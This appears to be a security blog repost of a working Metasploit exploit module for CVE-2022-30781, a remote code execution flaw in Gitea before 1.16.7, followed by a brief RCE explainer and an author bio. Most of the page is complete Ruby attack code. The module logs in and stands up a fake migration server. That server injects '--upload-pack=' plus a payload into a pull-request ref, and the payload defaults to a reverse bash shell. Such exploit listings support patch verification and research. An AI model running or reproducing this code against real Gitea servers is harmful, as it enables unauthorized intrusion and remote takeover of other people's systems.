Gitea 1.16.6 Remote Code Execution (RCE) (Metasploit)

A remote code execution vulnerability was discovered in Gitea affecting versions before 1.16.7, by security researcher, SAMGUY.

Gitea before 1.16.7 does not escape git fetch remote.

CWE-116

Improper Encoding or Escaping of Output

# Exploit Title: Gitea Git Fetch Remote Code Execution
# Date: 09/14/2022
# Exploit Author: samguy
# Vendor Homepage: https://gitea.io
# Software Link: https://dl.gitea.io/gitea/1.16.6
# Version: <= 1.16.6
# Tested on: Linux - Debian
# Ref : https://tttang.com/archive/1607/
# CVE : CVE-2022-30781

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Gitea Git Fetch Remote Code Execution',
        'Description' => %q{
          This module exploits Git fetch command in Gitea repository migration
          process that leads to a remote command execution on the system.
          This vulnerability affect Gitea before 1.16.7 version.
        },
        'Author' => [
          'wuhan005 & li4n0', # Original PoC
          'krastanoel'        # MSF Module
        ],
        'References' => [
          ['CVE', '2022-30781'],
          ['URL', 'https://tttang.com/archive/1607/']
        ],
        'DisclosureDate' => '2022-05-16',
        'License' => MSF_LICENSE,
        'Platform' => %w[unix win],
        'Arch' => ARCH_CMD,
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
        ],
        'DefaultOptions' => { 'WfsDelay' => 30 },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => []
        }
      )
    )

    register_options([
      Opt::RPORT(3000),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with']),
      OptString.new('PASSWORD', [true, 'Password to use']),
      OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait', 12])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/user/login'),
      'keep_cookies' => true
    )
    return CheckCode::Unknown('No response from the web service') if res.nil?
    return CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200

    # Powered by Gitea Version: 1.16.6
    unless (match = res.body.match(/Gitea Version: (?<version>[\da-zA-Z.]+)/))
      return CheckCode::Unknown('Target does not appear to be running Gitea.')
    end

    if match[:version].match(/[a-zA-Z]/)
      return CheckCode::Unknown("Unknown Gitea version #{match[:version]}.")
    end

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/user/login'),
      'vars_post' => {
        'user_name' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        '_csrf' => get_csrf(res.get_cookies)
      },
      'keep_cookies' => true
    )
    return CheckCode::Safe('Authentication failed') if res&.code != 302

    if Rex::Version.new(match[:version]) <= Rex::Version.new('1.16.6')
      return CheckCode::Appears("Version detected: #{match[:version]}")
    end

    CheckCode::Safe("Version detected: #{match[:version]}")
  rescue ::Rex::ConnectionError
    return CheckCode::Unknown('Could not connect to the web service')
  end

  def primer
    ['/api/v1/version', '/api/v1/settings/api',
     "/api/v1/repos/#{@migrate_repo_path}",
     "/api/v1/repos/#{@migrate_repo_path}/pulls",
     "/api/v1/repos/#{@migrate_repo_path}/topics"
    ].each { |uri| hardcoded_uripath(uri) } # adding resources

    vprint_status("Creating repository \"#{@repo_name}\"")
    gitea_create_repo
    vprint_good('Repository created')
    vprint_status("Migrating repository")
    gitea_migrate_repo
  end

  def exploit
    @repo_name = rand_text_alphanumeric(6..15)
    @migrate_repo_name = rand_text_alphanumeric(6..15)
    @migrate_repo_path = "#{datastore['username']}/#{@migrate_repo_name}"
    datastore['URIPATH'] = "/#{@migrate_repo_path}"

    Timeout.timeout(datastore['HTTPDELAY']) { super }
  rescue Timeout::Error
    [@repo_name, @migrate_repo_name].map { |name| gitea_remove_repo(name) }
    cleanup # removing all resources
  end

  def get_csrf(cookies)
    csrf = cookies&.split("; ")&.grep(/_csrf=/)&.join&.split("=")&.last
    fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf
    csrf
  end

  def gitea_remove_repo(name)
    vprint_status("Cleanup: removing repository \"#{name}\"")
    uri = "/#{datastore['username']}/#{name}/settings"
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, uri),
      'keep_cookies' => true
    )
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'action' => 'delete',
        'repo_name' => name,
        '_csrf' => get_csrf(res.get_cookies)
      },
      'keep_cookies' => true
    )
    vprint_warning('Unable to remove repository') if res&.code != 302
  end

  def gitea_create_repo
    uri = normalize_uri(target_uri.path, '/repo/create')
    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true)
    @uid = res&.get_html_document&.at('//input[@id="uid"]/@value')&.text
    fail_with(Failure::UnexpectedReply, 'Unable to get repo uid') unless @uid

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'uid' => @uid,
        'auto_init' => 'on',
        'readme' => 'Default',
        'repo_name' => @repo_name,
        'trust_model' => 'default',
        'default_branch' => 'master',
        '_csrf' => get_csrf(res.get_cookies)
      },
      'keep_cookies' => true
    )
    fail_with(Failure::UnexpectedReply, 'Unable to create repo') if res&.code != 302

  rescue ::Rex::ConnectionError
    return CheckCode::Unknown('Could not connect to the web service')
  end

  def gitea_migrate_repo
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/repo/migrate'),
      'keep_cookies' => true
    )
    uri = res&.get_html_document&.at('//svg[@class="svg gitea-gitea"]/ancestor::a/@href')&.text
    fail_with(Failure::UnexpectedReply, 'Unable to get Gitea service type') unless uri

    svc_type = Rack::Utils.parse_query(URI.parse(uri).query)['service_type']
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, uri),
      'keep_cookies' => true
    )
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'uid' => @uid,
        'service' => svc_type,
        'pull_requests' => 'on',
        'repo_name' => @migrate_repo_name,
        '_csrf' => get_csrf(res.get_cookies),
        'auth_token' => rand_text_alphanumeric(6..15),
        'clone_addr' => "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}",
      },
      'keep_cookies' => true
    )
    if res&.code != 302 # possibly triggered by the [migrations] settings
      err = res&.get_html_document&.at('//div[contains(@class, flash-error)]/p')&.text
      gitea_remove_repo(@repo_name)
      cleanup
      fail_with(Failure::UnexpectedReply, "Unable to migrate repo: #{err}")
    end

  rescue ::Rex::ConnectionError
    return CheckCode::Unknown('Could not connect to the web service')
  end

  def on_request_uri(cli, req)
    case req.uri
    when '/api/v1/version'
      send_response(cli, '{"version": "1.16.6"}')
    when '/api/v1/settings/api'
      data = {
        'max_response_items':50,'default_paging_num':30,
        'default_git_trees_per_page':1000,'default_max_blob_size':10485760
      }
      send_response(cli, data.to_json)
    when "/api/v1/repos/#{@migrate_repo_path}"
      data = {
        "clone_url": "#{full_uri}#{datastore['username']}/#{@repo_name}",
        "owner": { "login": datastore['username'] }
      }
      send_response(cli, data.to_json)
    when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1"
      send_response(cli, '{"topics":[]}')
    when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"
      data = [
        {
          "base": {
            "ref": "master",
          },
          "head": {
            "ref": "--upload-pack=#{payload.encoded}",
            "repo": {
              "clone_url": "./",
              "owner": { "login": "master" },
            }
          },
          "updated_at": "2001-01-01T05:00:00+01:00",
          "user": {}
        }
      ]
      send_response(cli, data.to_json)
    end
  end
end

source

What is Remote Code Execution (RCE)?

Remote code execution (RCE) attacks allow an attacker to remotely execute malicious code on a computer. The impact of an RCE vulnerability can range from malware execution to an attacker gaining full control over a compromised machine.

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RiSec.n0tst3

Hello! I'm Steve, an independent security researcher, and analyst from Scotland, UK.

I've had an avid interest in Computers, Technology and Security since my early teens. 20 years on, and, it's a whole lot more complicated...

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